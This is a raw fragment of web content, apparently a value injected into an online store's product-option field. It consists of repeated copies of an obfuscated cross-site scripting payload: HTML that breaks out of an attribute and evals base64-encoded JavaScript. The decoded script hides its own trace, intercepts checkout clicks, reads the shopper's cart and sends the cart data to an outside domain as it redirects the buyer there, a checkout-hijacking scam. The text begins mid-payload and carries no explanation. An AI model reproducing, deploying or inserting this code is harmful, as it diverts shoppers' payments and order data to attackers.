JhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x" style="font-family: x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x;">
x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7